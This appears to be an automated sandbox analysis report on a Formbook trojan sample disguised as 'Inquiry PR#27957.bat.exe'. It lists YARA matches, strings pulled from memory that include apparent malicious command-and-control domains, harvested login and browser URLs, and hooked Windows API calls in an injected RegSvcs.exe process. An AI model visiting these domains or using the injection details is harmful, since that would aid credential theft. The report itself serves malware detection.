2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: Inquiry PR#27957.bat.exe, fuqwoDzun.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Inquiry PR#27957.bat.exe, fuqwoDzun.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: Inquiry PR#27957.bat.exe, fuqwoDzun.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Inquiry PR#27957.bat.exe, 00000000.00000002.1351958774.0000000002F27000.00000004.00000800.00020000.00000000.sdmp, fuqwoDzun.exe, 0000000A.00000002.1568631756.0000000002779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: TsdBVAGjsKVoi.exe, 00000015.00000002.3791731697.0000000005105000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.9988566a4.shop
Source: TsdBVAGjsKVoi.exe, 00000015.00000002.3791731697.0000000005105000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.9988566a4.shop/roex/
Source: sfc.exe, 00000011.00000002.3790282223.00000000043AE000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.000000000382E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.globaltrend.xyz
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: sfc.exe, 00000011.00000002.3792533848.00000000061D0000.00000004.00000800.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3790282223.0000000003D66000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.00000000031E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://badges.ausowned.com.au/07634
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: sfc.exe, 00000011.00000002.3790282223.0000000004864000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.0000000003CE4000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: sfc.exe, 00000011.00000002.3790282223.000000000421C000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.000000000369C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: sfc.exe, 00000011.00000002.3790282223.00000000046D2000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.0000000003B52000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://http.gn301.com:12345/?u=
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: sfc.exe, 00000011.00000003.1952419416.0000000007C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfken
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: sfc.exe, 00000011.00000002.3790282223.0000000003D66000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.00000000031E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://ventraip.com.au/favicon.ico
Source: Inquiry PR#27957.bat.exe, fuqwoDzun.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: sfc.exe, 00000011.00000002.3790282223.0000000004B88000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.0000000004008000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.lexpaidshares.online/93w6/?lv-=V/q1FcXKAyKh7SGyOejAnJ1gdaJ4XypCrXBTkGu72NAGD53UqF3q83lE5
Source: sfc.exe, 00000011.00000002.3790282223.0000000003BD4000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.0000000003054000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2097655190.000000000D334000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.u9games.xyz/5p8u/?GJtTF=-FH8yJw&lv-=BWPzmKqqe8/bm9Y7L5
Source: sfc.exe, 00000011.00000002.3790282223.000000000408A000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.000000000350A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.xn72dkd7scx.shop/emnz/?lv-=oBBn57UjS7mF6OBjtXCA4K/r3FCs

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1645996592.00000000015A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1645343377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3788281912.0000000002F50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3788326451.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3788150976.0000000003C10000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3791731697.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3785830120.0000000000A50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1956019902.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1647315768.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3788370711.00000000043B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1858896914.0000000003320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1645996592.00000000015A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1645343377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.3788281912.0000000002F50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.3788326451.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.3788150976.0000000003C10000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000015.00000002.3791731697.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.3785830120.0000000000A50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000013.00000002.1956019902.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1647315768.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000012.00000002.3788370711.00000000043B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.1858896914.0000000003320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

.NET source code contains very large array initializations

Source: 0.2.Inquiry PR#27957.bat.exe.7210000.4.raw.unpack, SizeParameters.cs	Large array initialization: : array initializer size 15142
Source: 0.2.Inquiry PR#27957.bat.exe.2f4b620.1.raw.unpack, SizeParameters.cs	Large array initialization: : array initializer size 15142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0042BDB3 NtClose,	9_2_0042BDB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662B60 NtClose,LdrInitializeThunk,	9_2_01662B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662DF0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_01662DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662C70 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_01662C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016635C0 NtCreateMutant,LdrInitializeThunk,	9_2_016635C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01664340 NtSetContextThread,	9_2_01664340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01664650 NtSuspendThread,	9_2_01664650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662BE0 NtQueryValueKey,	9_2_01662BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662BF0 NtAllocateVirtualMemory,	9_2_01662BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662BA0 NtEnumerateValueKey,	9_2_01662BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662B80 NtQueryInformationFile,	9_2_01662B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662AF0 NtWriteFile,	9_2_01662AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662AD0 NtReadFile,	9_2_01662AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662AB0 NtWaitForSingleObject,	9_2_01662AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662D30 NtUnmapViewOfSection,	9_2_01662D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662D00 NtSetInformationFile,	9_2_01662D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662D10 NtMapViewOfSection,	9_2_01662D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662DD0 NtDelayExecution,	9_2_01662DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662DB0 NtEnumerateKey,	9_2_01662DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662C60 NtCreateKey,	9_2_01662C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662C00 NtQueryInformationProcess,	9_2_01662C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662CF0 NtOpenProcess,	9_2_01662CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662CC0 NtQueryVirtualMemory,	9_2_01662CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662CA0 NtQueryInformationToken,	9_2_01662CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662F60 NtCreateProcessEx,	9_2_01662F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662F30 NtCreateSection,	9_2_01662F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662FE0 NtCreateFile,	9_2_01662FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662FA0 NtQuerySection,	9_2_01662FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662FB0 NtResumeThread,	9_2_01662FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662F90 NtProtectVirtualMemory,	9_2_01662F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662E30 NtWriteVirtualMemory,	9_2_01662E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662EE0 NtQueueApcThread,	9_2_01662EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662EA0 NtAdjustPrivilegesToken,	9_2_01662EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662E80 NtReadVirtualMemory,	9_2_01662E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01663010 NtOpenDirectoryObject,	9_2_01663010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01663090 NtSetValueKey,	9_2_01663090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016639B0 NtGetContextThread,	9_2_016639B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01663D70 NtOpenThread,	9_2_01663D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01663D10 NtOpenProcessToken,	9_2_01663D10

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_02DB85B6	0_2_02DB85B6
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_02DB8210	0_2_02DB8210
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_02DB96D1	0_2_02DB96D1
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_02DB9630	0_2_02DB9630
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_02DB9958	0_2_02DB9958
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_0543A420	0_2_0543A420
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_0543A411	0_2_0543A411
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_05432F49	0_2_05432F49
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_05432F58	0_2_05432F58
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_05430B24	0_2_05430B24
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_0734B170	0_2_0734B170
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_073426D0	0_2_073426D0
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_073426C0	0_2_073426C0
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_073445E8	0_2_073445E8
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_073445D8	0_2_073445D8
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_07342298	0_2_07342298
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_07342289	0_2_07342289
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_073441B0	0_2_073441B0
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_073441AD	0_2_073441AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00401000	9_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0041695F	9_2_0041695F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00416963	9_2_00416963
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00403180	9_2_00403180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0042E393	9_2_0042E393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00401C4E	9_2_00401C4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00401C50	9_2_00401C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040FC7A	9_2_0040FC7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040FC83	9_2_0040FC83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00404594	9_2_00404594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00402626	9_2_00402626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00402630	9_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040FEA3	9_2_0040FEA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040DF23	9_2_0040DF23
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B8158	9_2_016B8158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620100	9_2_01620100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CA118	9_2_016CA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E81CC	9_2_016E81CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F01AA	9_2_016F01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E41A2	9_2_016E41A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C2000	9_2_016C2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EA352	9_2_016EA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F03E6	9_2_016F03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E3F0	9_2_0163E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0274	9_2_016D0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B02C0	9_2_016B02C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630535	9_2_01630535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F0591	9_2_016F0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E2446	9_2_016E2446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D4420	9_2_016D4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DE4F6	9_2_016DE4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01654750	9_2_01654750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162C7C0	9_2_0162C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164C6E0	9_2_0164C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01646962	9_2_01646962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016329A0	9_2_016329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016FA9A6	9_2_016FA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163A840	9_2_0163A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01632840	9_2_01632840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E8F0	9_2_0165E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016168B8	9_2_016168B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EAB40	9_2_016EAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E6BD7	9_2_016E6BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162EA80	9_2_0162EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163AD00	9_2_0163AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CCD1F	9_2_016CCD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162ADE0	9_2_0162ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01648DBF	9_2_01648DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630C00	9_2_01630C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620CF2	9_2_01620CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D0CB5	9_2_016D0CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A4F40	9_2_016A4F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01672F28	9_2_01672F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01650F30	9_2_01650F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D2F30	9_2_016D2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163CFE0	9_2_0163CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01622FC8	9_2_01622FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AEFA0	9_2_016AEFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630E59	9_2_01630E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EEE26	9_2_016EEE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EEEDB	9_2_016EEEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01642E90	9_2_01642E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016ECE93	9_2_016ECE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016FB16B	9_2_016FB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0166516C	9_2_0166516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161F172	9_2_0161F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163B1B0	9_2_0163B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E70E9	9_2_016E70E9
